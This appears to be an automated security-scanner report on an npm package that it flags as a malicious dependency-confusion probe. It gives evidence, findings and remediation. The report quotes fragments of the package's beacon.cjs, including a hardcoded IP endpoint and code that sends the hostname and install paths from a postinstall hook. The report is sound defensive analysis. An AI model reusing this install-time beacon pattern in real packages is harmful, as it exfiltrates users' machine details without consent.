@grabcad/grabcad-shop-shared@1.1.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 3h ago · by lpm-firewall-aiThe postinstall hook automatically discloses host and installation identifiers to a package-selected external endpoint. The README's research-test claim does not establish installer consent.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package runs its postinstall hook.
Impact
The endpoint receives the installer's hostname and local install and working paths without an installer consent gate.
Mechanism
The hook invokes beacon.cjs, which builds a JSON payload from local machine and process metadata and sends it in an HTTP POST.
Attack narrative
Installing the package automatically runs beacon.cjs. It sends the machine hostname, installation path, working directory, package name, and runtime version to a hardcoded external HTTP endpoint. The source contains no installer consent gate for this disclosure.
AI rationale
The postinstall hook automatically discloses host and installation identifiers to a package-selected external endpoint. The README's research-test claim does not establish installer consent.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs from an automatic postinstall hook.
- beacon.cjs sends a JSON POST to a hardcoded external HTTP endpoint.
- The payload includes the machine hostname, install path, working directory, and runtime version.
- When run directly by the hook, beacon.cjs calls fire() to send the payload.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beac
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs from an automatic postinstall hook.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/grabcad-shop-shared";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/grabcad-shop-shared@1.1.0.
See all versions of @grabcad/grabcad-shop-shared for other recorded verdicts.
- Avoid installing @grabcad/grabcad-shop-shared@1.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.